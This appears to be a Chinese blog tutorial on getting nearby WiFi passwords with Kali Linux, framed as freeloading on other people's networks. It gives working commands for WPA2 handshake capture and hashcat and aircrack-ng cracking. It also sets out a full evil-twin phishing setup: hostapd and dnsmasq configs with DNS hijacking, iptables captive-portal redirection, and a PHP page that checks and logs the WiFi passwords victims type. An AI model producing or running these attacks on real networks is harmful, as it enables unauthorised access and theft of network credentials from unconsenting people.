使用kali实现不那么优雅的WiFi密码获取
前言相信不少朋友都遇到过旁边全是Wifi节点,但就是一个都用不了的痛苦。今天我就来分享一些不那么优雅的蹭网方式。
WiFi万能钥匙
大道至简,虽说这并不是所谓的密码破解,但在一个陌生环境下蹭网仍是一个不错的选择。毕竟你也不能确定会不会已经有人把密码分享出去了。如果有的话,这种方法可以说是最简单,最高效的方法了。如果没有的话,请继续往下看。
我此分享一个从网络中找到的别人分享的万能钥匙的改版,相对清爽一些。WiFi万能钥匙下载链接
抓握手包跑字典
开局直接获取su权限,免得下面操作频繁输入sudo。kali的默认账户和密码都是kali。
1sudo su
查看可用的监听网卡
1airmon-ng
开启监听,wlan0就是之前查看的监听网卡
1234airmon-ng start wlan0// 开始监听airodump-ng wlan0mon
找到需要监听的wifi后记录信息,然后键入ctrl c停止扫描
12BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID FE:92:C4:5E:5E:C3 -47 3 2 0 4 180 WPA2 CCMP PSK _test
根据上面的信息进行握手包抓取,并将抓取的我手包存储指定目录。
1airodump-ng -c 4 --bssid FE:92:C4:5E:5E:C3 -w /home/kali/Desktop/test/NewFolder/_test wlan0mon
等待有人连接wifi后,显示MAC地址就可以停止抓包了。在对应目录会出现对应文件。
停止抓包
1airmon-ng stop wlan0mon
进入这个网址https://hashcat.net/cap2hashcat/index.pl将.cap文件转化为.hc22000文件后就可以选择使用hashcat进行暴力破解了。
12345// 字典暴力破解hashcat -m 22000 xxx.hc22000 pwd.txt// 掩码暴力破解hashcat -a 3 -m 22000 xxx.hc22000 ?d?d?d?d?d?d?d?d
当然也可以不转换,直接使用aircrack-ng
1aircrack-ng handshake.cap -w pwd.txt
使用Fluxion伪造AP
这个网上教程很多,而且引导页面也可以设置中文,就不过多描述了。
需要注意的是使用前执行fluxion -i进行依赖补全,如果无法补全就直接自己执行apt
其中pyrit因为年久失修,已经不在官方的仓库里面了,需要自己弄。但还是需要注意,因为这位作者编写的是bash脚本,而kali默认为zsh,如果直接执行脚本会出现报错。正确做法是使用bash来执行。123git clone https://github.com/hacker3983/pyrit-installer.gitcd pyrit-installerbash ./install.sh
手动伪造AP
效果和使用fluxion基本一样,甚至会略微差一些,毕竟flxuion的自定义选项更多,而手动弄的话比较吃自己的操作,下限更低。
配置目录以及文件
这次就不要使用su了,因为我们需要本地服务器有权限写入目录。
创建目录并进入目录创建hostapd.conf文件
12mkdir -p /home/kali/Desktop/test/wlan_hack/cd /home/kali/Desktop/test/wlan_hack/
在该目录中放入之前抓取的握手包文件
hostapd.conf
12345678interface=wlan0driver=nl80211ssid=Free_WiFihw_mode=gchannel=6macaddr_acl=0auth_algs=1ignore_broadcast_ssid=0
dnsmasq.conf
12345interface=wlan0dhcp-range=192.168.1.2,192.168.1.100,12hdhcp-option=3,192.168.1.1dhcp-option=6,192.168.1.1address=/#/192.168.1.1
配置钓鱼页面index.html
123456789101112
连接 Free_WiFi
配置密码验证login.php,请注意修改存储密码的文件和握手包路径为绝对路径
12345678910111213141516&1";$output = shell_exec($cmd);if (strpos($output, "KEY FOUND!") !== false) { file_put_contents("/home/kali/Desktop/test/wlan_hack/valid.txt", "y " . $password . "\n"); echo "
密码验证成功,连接成功!
";} else { file_put_contents("/home/kali/Desktop/test/wlan_hack/invalid.txt", "n " . $password . "\n"); echo "密码错误,请重新输入。
";}?>配置启动脚本run.sh
123456789101112131415161718192021222324252627282930313233343536#!/bin/bash# 清理旧配置killall hostapd dnsmasq apache2iptables --fluship link set wlan0 down# 设置静态IPip link set wlan0 upip addr add 192.168.1.1/24 dev wlan0# 启用 IP 转发echo 1 > /proc/sys/net/ipv4/ip_forward# 清空旧规则iptables -Fiptables -t nat -F# NAT 设置iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE# 把所有 HTTP 请求重定向到本地 Web 服务器(Captive Portal)iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.1:80# 启动 hostapdhostapd hostapd.conf 启动 dnsmasqdnsmasq -C dnsmasq.conf# 启动 Apache(默认网站目录为 /var/www/html)cp index.html /var/www/html/index.htmlcp login.php /var/www/html/login.phpsystemctl restart apache2echo "[+] 钓鱼 Wi-Fi 启动成功,请连接 Free_WiFi 测试。"
配置停止脚本stop.sh
12345678910111213141516171819#!/bin/bashecho "[*] 正在关闭钓鱼 Wi-Fi 环境..."# 杀掉后台运行的服务killall hostapd 2>/dev/nullkillall dnsmasq 2>/dev/nullkillall apache2 2>/dev/null# 还原网络接口ip addr flush dev wlan0ip link set wlan0 down# 清除 iptables 规则iptables -Fiptables -t nat -Fiptables -Xecho "[+] 停止完成,网络环境已恢复。"
执行
配置php用户为当前用户,以确保有权限写入文件。配置文件为/etc/apache2/envvars
12345678// 将export APACHE_RUN_USER=www-dataexport APACHE_RUN_GROUP=www-data// 修改为export APACHE_RUN_USER=kaliexport APACHE_RUN_GROUP=kali
直接执行run.sh。
小结
最优解肯定是使用fluxion,毕竟人家都封装好了,只是为了解决问题,越简单越好。
按照我手动配置的话,可能会出现一些网址无法成功dns劫持。
当然,钓鱼页面可以自己写,毕竟我写的这个过于简单了。
参考文章
kali Linux安装fluxion中pyrit失败,亲测有效
Kali Linux 使用 Hashcat 高效破解 WiFi 密码【暴力破解篇】